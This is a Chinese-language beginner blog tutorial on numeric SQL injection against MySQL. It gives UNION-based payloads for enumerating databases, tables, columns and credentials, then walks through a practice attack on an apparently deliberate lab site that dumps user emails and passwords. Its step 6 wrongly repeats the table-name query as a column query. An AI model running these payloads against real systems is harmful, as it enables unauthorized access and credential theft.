前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sql注入入门学习(数字型)(连载中)

sql注入入门学习(数字型)(连载中)

作者头像
一个淡定的打工菜鸟
发布2018-12-07 10:12:40
1.1K0
发布2018-12-07 10:12:40
举报
文章被收录于专栏:淡定的博客淡定的博客
判断sql注入
代码语言:javascript
复制
1.提交单引号
2.and大法和or大法
3.加法和减法,加号  %2b
数据库权限判断
代码语言:javascript
复制
and ord(mid(user(),1,1))=114
//或者
and (select count(*) from mysql.user)>0
判断字段数

用union联合查询

代码语言:javascript
复制
and 1=1 union select 1,2,3,4,5……
union select null,null,null.....

用order by 查询

代码语言:javascript
复制
order by 1,2,3,4
查询库名
代码语言:javascript
复制
判断数据库版本
and ord(mid(version(),1,1))>51 
直接使用mysql自带函数database()查询得到数据库名
union select 1,database(),3 limit 1,1
得到所有的数据库名
union select null,schema_name,null from information_schema.schemata
获取第一个库名
and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,1
查询表名

在MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表

group_concat

代码语言:javascript
复制
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'
或者
union select null,table_name,null from information_schema.tables where table_schema='test'
查询字段

在MySQL中,字段名存放在information_schema数据库下columns表column_name字段中,这里使用的是columns表。

代码语言:javascript
复制
and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='sqltest'
或者
union select null,column_name,null from information_schema.columns where table_schema='test' and table_name='admin'
查询数据
代码语言:javascript
复制
and 1=2 union select 1,group_concat(id,user,pwd),3 from admin
或者
union select null,title,content from sqltest
或者
and 1=2 union select 1,2,concat(user,0x3c,pwd) from admin
实战演练

打开网站http://43.247.91.228/content-1/index.php?id=0,我们在这里做注入练习

1.首先加单引号报错,可知存在明显的注入漏洞

2.输入and ord(mid(user(),1,1))=114不报错,可知数据库的权限是root权限,并且具有可读可写的权限

3.输入 and 1=1 union select 1,2,3,4,5,6,7,8不报错,可以发现这个表的字段有8个

4.使用and 1=2 union select null,schema_name,null ,null,null,null,null,null from information_schema.schemata limit 1,1;--;--注释了后面的语句,可以获取所有的数据库名,可以知道当前执行查询用户名为root@localhost(user()函数), 当前使用的数据库是inject,下面列出所有数据库

  • information_schema
  • inject
  • mysql
  • performance_schema

5.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--获取所有的表名,下面列出所有的表

  • users

6.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--获取所有的字段,下面列出所有的字段

  • idusers
  • name
  • email
  • password
  • ua
  • ref
  • host
  • lang

7.接下来就到最后最重要的一步了,获取所有数据,and 1=2 union select 1,group_concat(idusers,name,email,password,ua,ref,host,lang),3,4,5,6,7,8 from users;--

获取到的数据如下:

代码语言:javascript
复制
0adminadmin@getmantra.comadminBrick_Browserhttp://127.0.0.1/release-channel/content-13/index.php127.0.0.1en,1tomtom@getmantra.comtomBlock_Browser8.8.8.8en,2ronron@getmantra.comronRain_Browser192.168.1.1en,3harryharry@getmantra.com5f4dcc3b5aa765d61d8327deb882cf99Mantra127.0.0.1en

可以看出来这些应该就是数据表中所有的数据了,但是怎么格式化我并不会,希望看到这篇文章的大佬们能帮我解决一下,请给我发邮件:dandingkeji.top@gmail.com

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2018/11/08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 判断sql注入
  • 数据库权限判断
  • 判断字段数
  • 查询库名
  • 查询表名
  • 查询字段
  • 查询数据
  • 实战演练
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档